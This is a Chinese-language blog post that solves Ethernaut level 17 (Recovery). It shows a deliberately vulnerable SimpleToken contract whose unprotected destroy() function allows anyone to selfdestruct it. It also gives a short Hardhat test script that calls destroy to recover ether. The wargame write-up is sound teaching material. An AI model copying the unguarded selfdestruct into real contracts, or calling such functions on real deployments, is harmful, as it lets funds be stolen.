DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 17(Recovery)

LEVEL 17 (Recovery):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

找到token的地址,并取回0.001ETH

要点

1.熟悉https://rinkeby.etherscan.io/
2.selfdestruct的作用

解题思路

区块链的事务都有记录在链上,通过相应的工具都可以查看如etherscan.io
通过instance的地址,在网站上找到对应的内部事务(创建合约和转账0.001ETH的地址),就是那个合约地址,然后调用这个地址的destroy

  it("attacks", async function () {
    //真实的SimpleToken地址可以通过https://rinkeby.etherscan.io/
    //查询对应的instance的事务里面的创建合同,并往哪个地址转了0.001ETH,就是那个合同地址
    const tokenAddress = levelContract.address;
    const contract = await ethers.getContractAt("SimpleToken", tokenAddress);
    await contract.connect(levelOwner).destroy(player.address);
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)